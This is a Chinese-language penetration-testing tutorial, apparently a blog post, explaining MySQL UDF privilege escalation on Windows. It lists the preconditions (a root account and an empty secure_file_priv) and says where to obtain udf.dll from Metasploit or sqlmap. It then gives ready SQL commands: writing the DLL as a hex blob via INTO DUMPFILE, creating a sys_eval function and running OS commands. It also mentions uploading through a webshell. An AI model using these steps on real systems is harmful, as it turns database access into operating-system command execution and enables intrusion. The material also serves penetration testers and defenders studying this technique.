UFD 介绍
user defined function,即用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()
或concat()
。udf文件后缀为.dll
,常用c
语言编写。
-
在mysql 5.1 以后的版本中,udf文件放在于
mysql/lib/plugin
目录下,目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll文件导出到该目录。以下这种通过文件流的机制创建目录的方法经尝试不可行,提示不允许操作。(路过的大佬指导一下~)
select 'xxxxxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';
-
如果mysql版本小于5.1, udf文件在
windows 7
下放置在C:\windows
目录,在windows server 2003
下放置于C:\windows\system32
目录,在windows server 2000
下放置在C:\winnt\system32
目录。
前提
- 需要mysql root权限的账户,因为需要用 create 操作
- 根据 mysql 版本确定plugin_dir目录
- mysql配置文件配置项
secure_file_priv=
置空,表示不限制导入导出目录(mysql5.5 之前 secure_file_priv 默认是空) - 如果是mysql 5.1之后的版本,目前来说必须存在lib\plugin\目录
提权
环境信息:windows 7,mysql 5.0.96
-
通过 root 账户登录到 mysql 后,获取一些变量信息,看是否满足前提条件
select version(); # 查看mysql版本 select @@plugin_dir # 查看plugin文件夹路径,5.1版本之后有效,如果是5.1之前版本会报错,按系统默认的来 show global variables like 'secure%'; # secure_file_priv 变量必须为空,5.1一上版本需要在my.ini文件的[mysqld]下增加配置 secure_file_priv=
-
从 MSF 中获取利用的 udf.dll 文件,目录
/usr/share/metasploit-framework/data/exploits/mysql
;或者从 sqlmap 中取,目录/usr/share/sqlmap/data/udf/mysql
。建议用MSF下的udf文件,sqlmap下的是经过编码的,如果要用需要先解码
-
通过 webshell 将 udf.dll 上传到
C:\windows
目录下,或者通过 sqlshell 写进去(udf.dll是自己改的名字,不改也行,下面命令中用到的文件名和这里对应就行)CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。 INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容 SELECT c FROM udftmp INTO DUMPFILE 'C:\\windows\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
-
创建自定义函数,并执行系统命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; # 导入自定义函数 select sys_eval('whoami'); DROP FUNCTION sys_eval; # 删除自定义函数